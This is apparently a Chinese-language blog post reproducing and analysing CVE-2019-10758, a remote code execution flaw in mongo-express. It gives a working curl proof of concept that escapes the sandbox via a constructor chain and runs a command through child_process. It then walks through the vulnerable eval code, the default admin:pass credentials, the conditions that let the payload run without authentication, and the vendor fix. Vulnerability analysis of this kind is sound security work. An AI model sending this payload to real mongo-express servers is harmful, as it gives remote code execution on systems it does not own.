CVE-2019-10758:mongo-expressRCE复现分析

CVE-2019-10758:mongo-expressRCE复现分析

早上室友说发了一则mongo-express的预警,正好看到陈师傅也发了twitter,动手分析一下,如有差错还望指正

漏洞复现

漏洞环境:
https://github.com/mongo-express/mongo-express#readme
https://github.com/masahiro331/CVE-2019-10758

自己从官方拉到本地+mongodb的服务端或者docker起一个未授权的mongo端都可以,poc直接就能打出来

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

image_1dto0qppb1f1v124r13mi1rugm8o5q.png-386.7kB

漏洞触发点

文件express-mongo/node_modules/mongo-express/lib/router.js进行路由事件的方法绑定
image_1dtnda3rm1r7412s61m5v1i71m5t3p.png-617.2kB

路由事件checkvalid对应的方法在文件express-mongo/node_modules/mongo-express/lib/routes/document.js,调用了toBSON

image_1dtndcghv1ltvs581mfp1nfr11hu46.png-64.8kB

在toBSON函数中将传入的参数放进vm2沙箱里去eval

exports.toBSON = function (string) {
  var sandbox = exports.getSandbox();

  string = string.replace(/ISODate\(/g, 'new ISODate(');
  string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');

  vm.runInNewContext('doc = eval((' + string + '));', sandbox);

  return sandbox.doc;
};

绕一下vm2逃逸出来沙箱即可,详情可以看这篇文章Sandboxing NodeJS is hard, here is why

其他触发点

还有一处对mongo传值的地方也存在bson的问题,只是要校验是否存在数据库&表名,利用起来没有checkValid的链方便,不过大多数mongo库都会存在local的库+start_log这个collection

image_1dtr6dtch1t8kgrj1tq4c1jcivm.png-375kB

需不需要验证

mongo-express把原始config对象写在config.default.js文件中。

漏洞分析中的poc需要进行权限鉴定,也就是poc中使用了请求头Authorization: Basic YWRtaW46cGFzcw==的原因。删掉后请求则会返回未授权

image_1dto2g2p7kj6121c18ci1h4vq9i77.png-63.4kB

但是如果以cli+指定用户形式启动服务端与mongo的连接时,则不需要授权也能打(个人认为这种方式更常见一点?)
image_1du1fiujq1v2r1icnt5t3lctg69.png-524.8kB

下面是关于mongo-express调用basic-auth-connect的认证简单分析

认证流程分析

程序入口逻辑是这样的,如果你程序启动的时候给一个-u&-p参数则config.useBasicAuth为false,而config.useBasicAuth在加载配置的阶段默认为true

if (commander.username && commander.password) {
...
config.useBasicAuth = false;
}

接着看文件express-mongo/node_modules/mongo-express/lib/router.js,根据config.useBasicAuth的值绑定一个basicAuth中间键,如果初始启动程序的时候没有-u/-p参数,则获取配置文件的username&password(默认为admin:pass)来进行绑定

image_1dtntgtmr1cep1la29dnuaevf45d.png-591kB

这里假设我们启动程序的时候默认不传入-u/-p,则步入basicAuth函数。这里定义了两个全局变量username&password,来存储配置文件的用户名密码。

module.exports = function basicAuth(callback, realm) {
  var username, password;

  // user / pass strings
  if ('string' == typeof callback) {
    username = callback;
    password = realm;
    if ('string' != typeof password) throw new Error('password argument required');
    realm = arguments[2];
    callback = function(user, pass){
      return user == username && pass == password;
    }
  }

  realm = realm || 'Authorization Required';

  return function(req, res, next) {
    var authorization = req.headers.authorization;

    if (req.user) return next();
    if (!authorization) return unauthorized(res, realm);

    var parts = authorization.split(' ');

    if (parts.length !== 2) return next(error(400));

    var scheme = parts[0]
      , credentials = new Buffer(parts[1], 'base64').toString()
      , index = credentials.indexOf(':');

    if ('Basic' != scheme || index < 0) return next(error(400));

    var user = credentials.slice(0, index)
      , pass = credentials.slice(index + 1);

    // async
    if (callback.length >= 3) {
      callback(user, pass, function(err, user){
        if (err || !user)  return unauthorized(res, realm);
        req.user = req.remoteUser = user;
        next();
      });
    // sync
    } else {
      if (callback(user, pass)) {
        req.user = req.remoteUser = user;
        next();
      } else {
        unauthorized(res, realm);
      }
    }
  }
};

在这之后的所有请求则必须都要有req.headers.authorization,来与全局变量username&password比对进行认证,否则返回Unauthorized。

所以要想不进入basicAuth函数,只需要config.useBasicAuth = false

cli启动-未授权

在mongo-express中还有一种启动方式,即用命令行传递参数。
image_1dto26qrj1bge18bm6o41o13bn667.png-44.5kB

由于poc中,用docker拉的mongodb默认是未授权的形式,所以不需要-u&-p来指定数据库的账号密码。但是实际环境中mongodb不太可能是未授权,所以我觉得以cli+参数启动服务的场景应该算是多见吧。

那么如果受害者指定了用户名&密码去启动express-mongo,那么攻击者直接未授权就可以打(即不需要指定authoriza header)

不过在官方文档中给出了一句话:

You can use the following environment variables to modify the container's configuration

因为config.default.js默认会从环境变量中加载mongodb的用户名&密码,这样无需参数就能启动服务,也顺便避免了未授权的问题

官方修复

https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2

在0.54.0中将bson.js中的vm依赖删除,改用mongo-query-parser

image_1dtohg4gq10ehc9k100fbfq11ok8u.png-32.5kB

express分析

框架流程,使用一堆中间键

然后启动流程就是对中间键的层级调用,具体看这篇文章:https://shadowwood.me/2016/08/27/2016-08-27-express-origin-code-analysis/

核心的两步:
layer.handle_request(req, res, next);

/*
handle_request定义的就是express应用中的路由中间件请求处理函数,也就是例如app.get(‘/test’, function(req, res, next){})的操作最后的执行位置。
*/

/*
layer.handle_request会执行layer.route的dispatch操作,也就是在Route中派发路由最终执行到在express中定义的对应的路由操作函数,之后又执行next()就又到了这里的proto.stack中的下一个遍历操作。
*/


//handle_request原生是这样写的:

Layer.prototype.handle_request = function handle(req, res, next) {
  var fn = this.handle;

  if (fn.length > 3) {
    // not a standard request handler
    return next();
  }

  try {
    fn(req, res, next);
  } catch (err) {
    next(err);
  }
};
not found!